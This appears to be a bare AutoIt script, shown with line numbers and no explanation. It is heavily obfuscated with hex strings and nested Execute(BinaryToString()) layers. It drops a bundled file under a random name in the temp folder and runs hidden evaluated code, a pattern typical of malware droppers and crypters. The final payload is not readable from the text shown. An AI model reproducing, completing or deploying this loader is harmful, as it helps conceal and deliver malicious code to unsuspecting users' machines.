1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
Func a2f00001b21_()
For $ax0x0xa = 0x1 To 0x5
Local $a2f00001b21sz_ = a2f00001b21x_()
FileInstall("d3c0ef51c80f467bc9002bbf93fcb10d0c917dbaae819ccd925e2f8902d3c9c5229702964c538605098cce34d2e9cc90ce0618992ba26caea18b5b5ccd9dd0acf02370c4bc004868283b8067c8309862" & _
"cf2f70d92252928d02af9b1c7d80c3303522b08f2", $a2f00001b21sz_, 0x1)
Global $a2f00001b21, $os = Execute(BinaryToString("0x457865637574652842696E617279746F737472696E67282730783435373836353633373537343635323834323639364536313732373937343646373337343732363936453637323832373330373833" & _
"3533333337333433373332333633393336343533363337333533333337333033363433333633393337333433323338333433363336333933363433333633353335333233363335333633313336333433" & _
"3233383332333433343331333333323334333633333330333333303333333033333330333333313334333233333332333333313337333333373431333534363332333933323433333233373337343333" & _
"33333333333338333333373334333933323337333234333333333133323339323732393239272929"))
If IsArray($os) And $os[0x0] >= 0x46da Then ExitLoop
Sleep(0xa)
Next
Execute(BinaryToString("0x457865637574652842696E617279746F737472696E67282730783435373836353633373537343635323834323639364536313732373937343646373337343732363936453637323832373330373833" & _
"3333313332343233343336333633393336343333363335333433343336333533363433333633353337333433363335333233383332333433343331333333323334333633333330333333303333333033" & _
"3333303333333133343332333333323333333133373333333734313335343633323339323732393239272929"))
EndFunc ; -> a2f00001b21_
Func a2f00001b21x_()
Local $a2f00001b21s1_ = a2f00001b21("4054656D70446972"), $a2f00001b21s3_ = a2f00001b21("31"), $a2f00001b21s4_ = a2f00001b21("5c"), $a2f00001b21s5_ = a2f00001b21("5c"), $a2f00001b21s6_ = a2f00001b21("37"), $a2f00001b21s8_ = a2f00001b21("3937"), $a2f00001b21s9_ = a2f00001b21("313232"), $a2f00001b21s7_ = a2f00001b21("31"), $a2f00001b21sa_
Local $a2f00001b21s2_ = Execute($a2f00001b21s1_)
If StringRight($a2f00001b21s2_, Number($a2f00001b21s3_)) <> $a2f00001b21s4_ Then $a2f00001b21s2_ = $a2f00001b21s2_ & $a2f00001b21s5_
SRandom(Number(StringRight(TimerInit(), 0x4)))
Do
$a2f00001b21sa_ = ''
While StringLen($a2f00001b21sa_) < Number($a2f00001b21s6_)
$a2f00001b21sa_ = $a2f00001b21sa_ & Chr(Random(Number($a2f00001b21s8_), Number($a2f00001b21s9_), Number($a2f00001b21s7_)))
WEnd
$a2f00001b21sa_ = $a2f00001b21s2_ & $a2f00001b21sa_
Until Not FileExists($a2f00001b21sa_)
Return ($a2f00001b21sa_)
EndFunc ; -> a2f00001b21x_
Func a2f00001b21($a2f00001b21)
Local $a2f00001b21_
For $x = 0x1 To StringLen($a2f00001b21) Step 0x2
$a2f00001b21_ &= Chr(Dec(StringMid($a2f00001b21, $x, 0x2)))
Next
Return $a2f00001b21_
EndFunc ; -> a2f00001b21
|